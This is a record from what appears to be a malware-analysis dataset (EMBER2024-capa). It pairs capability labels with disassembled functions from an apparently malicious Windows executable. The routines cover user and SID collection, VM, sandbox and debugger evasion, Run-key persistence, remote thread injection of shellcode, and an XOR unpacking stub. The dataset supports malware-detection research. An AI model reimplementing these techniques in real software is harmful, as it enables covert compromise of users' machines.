joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406984
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4069f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406a10
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a00
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x406a14
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406a89
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406aa0
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406a90
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x406aa4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406b19
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406b30
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b20
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x406b34
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406ba9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406bc0
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406bb0
lea eax, [ebp - 8]
call fcn.00403778
ret
Function at 0x406bc4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406c39
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403778
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.00402850
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403970
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x406c50
call fcn.00403a60
mov eax, ebx
call fcn.00402880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c40
lea eax, [ebp - 8]
call fcn.00403778
ret

Function at 0x407704
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x40774e
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x407888
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4078a0
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x40789b
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x4078ac
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x4078c4
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4078bf
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x4078d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407938
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407923
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407964
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407970
jne 0x407923
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407988
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x4079f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4079db
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407a1c
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407a28
jne 0x4079db
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407a40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407aa8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407a93
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407ad4
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407ae0
jne 0x407a93
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret
Function at 0x407c20
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x407c37
jne 0x407c3e
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x407c4d
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x407c55
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x407c78
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x407cce
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x407ce4
call fcn.00403810
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x407cb1
xor eax, eax
leave
ret
mov eax, 1
leave
ret

Function at 0x407d0c
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret

Function at 0x407fc4
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c04
xor eax, eax
push ebp
push 0x408063
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.004082a0
test al, al
je 0x40804d
xor eax, eax
push ebp
push 0x408043
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403c14
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40804d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40806a
lea eax, [ebp - 4]
call fcn.00403778
ret

Function at 0x4080cc
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40812c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x408144
call fcn.00403810
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403810
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.00408624
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408133
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
ret
Function at 0x4081e8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
mov eax, dword [ebp + 8]
call fcn.00403c04
xor eax, eax
push ebp
push 0x40828d
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.00403a14
push eax
mov eax, dword [ebp + 8]
call fcn.00403c14
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00403c14
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x408261
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408294
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
lea eax, [ebp + 8]
call fcn.00403778
ret

Function at 0x40830c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
xor eax, eax
push ebp
push 0x4083a6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40838b
cmp esi, 0xffffffff
jne 0x40836f
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00403c6c
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083ad
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
ret
Function at 0x408624
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403c04
mov eax, dword [ebp - 8]
call fcn.00403c04
mov eax, dword [ebp + 0xc]
call fcn.00403c04
xor eax, eax
push ebp
push 0x408703
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004037cc
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403c14
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4086e0
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403c14
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4086d7
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00403d44
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00403c14
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00403d44
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40870a
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040379c
lea eax, [ebp + 0xc]
call fcn.00403778
ret

Function at 0x408bfc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403c14
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x408c15
test al, 0x10
jne 0x408c19
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x408e50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x408f26
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403970
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x408f3c
call fcn.00403a60
mov eax, dword [ebp - 8]
call fcn.00403c14
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403970
mov eax, dword [ebp - 0x10]
call fcn.00403a14
mov esi, eax
mov eax, dword [0x40f0ac]
call fcn.00403a14
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403970
lea eax, [ebp - 0x14]
mov edx, dword [0x40f0ac]
call fcn.00403a1c
mov eax, dword [ebp - 0x14]
call fcn.00403c14
push eax
push 1
push 0
push 0x408f74
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f2d
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.0040379c
ret
Function at 0x408f80
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x408fb4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edx
pop ebx
ret
Function at 0x40a248
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40a31d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403778
lea eax, [ebp - 4]
mov edx, pe_nt_image_headers32
call fcn.00403d44
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
call fcn.00403c6c
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x40a307
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 4]
call fcn.00403c6c
push eax
push 0
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x40a307
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_IsValidSid
test eax, eax
je 0x40a307
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_ConvertSidToStringSidA
mov eax, ebx
mov edx, dword [ebp - 0x18]
call fcn.00403970
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a324
lea eax, [ebp - 4]
call fcn.00403778
ret
Function at 0x40b094
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x40b210
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.00403778
push 0
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptCreateHash
test eax, eax
je 0x40b1dc
push 0
lea eax, [ebp - 0x18]
mov edx, edi
call fcn.00403ee8
mov eax, dword [ebp - 0x18]
call fcn.00403f44
inc eax
add eax, eax
push eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptHashData
test eax, eax
je 0x40b1dc
mov dword [ebp - 0x10], 0x14
push 0x14
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x40b070]
call fcn.00404cbc
add esp, 4
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 2
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptGetHashParam
test eax, eax
je 0x40b1dc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptDestroyHash
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptReleaseContext
mov eax, dword [ebp - 0x10]
dec eax
test eax, eax
jl 0x40b1b4
inc eax
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
add bl, byte [eax + edi]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x40b228
call fcn.0040af64
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.00403a1c
inc edi
dec dword [ebp - 0x14]
jne 0x40b17d
lea eax, [ebp - 0x28]
push eax
xor eax, eax
mov al, bl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x40b228
call fcn.0040af64
mov edx, dword [ebp - 0x28]
mov eax, esi
call fcn.00403a1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b217
lea eax, [ebp - 0x28]
call fcn.00403778
lea eax, [ebp - 0x1c]
call fcn.00403778
lea eax, [ebp - 0x18]
call fcn.00403dd8
lea eax, [ebp - 0xc]
mov edx, dword [0x40b070]
call fcn.00404cc8
ret
Function at 0x40d464
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d5bf
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x40d5a4
push 0x40d5d0
push 0x40d5dc
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x40d5ec
push 0x40d5dc
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x40d5f8
push 0x40d5dc
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x40
push 0x3000
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402b08
mov eax, dword [ebp - 0x1c]
call fcn.00403a14
inc eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
mov dword [ebp - 0xc], esi
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00402b08
mov eax, dword [ebp - 0x20]
call fcn.00403a14
inc eax
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402b08
mov eax, dword [ebp - 0x24]
call fcn.00403c14
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x40d5a4
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x40d430
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x40d5a4
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d5c6
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.0040379c
ret
Function at 0x40dd78
Capabilities:
Create process on windows
Create process suspended
Find taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x40de76
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x40f220]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
mov ecx, 0x40de8c
call fcn.00403a60
mov eax, dword [ebp - 0x5c]
call fcn.00403c14
push eax
push 0
push 0
call fcn.00405424
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40ddd3
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40de60
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40f1e8]
call fcn.00403c6c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40de98
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.00405fa0
test al, al
jne 0x40de60
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.004055e4
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.004055e4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40dea8
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.00405fa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40de7d
lea eax, [ebp - 0x5c]
call fcn.00403778
ret
Function at 0x405d00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
je 0x405d37
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
jne 0x405d37
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x405d37
mov eax, dword [ebp - 4]
add eax, 0x28
jmp 0x405d39
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
popal
nop
nop
nop
nop
jmp 0x431219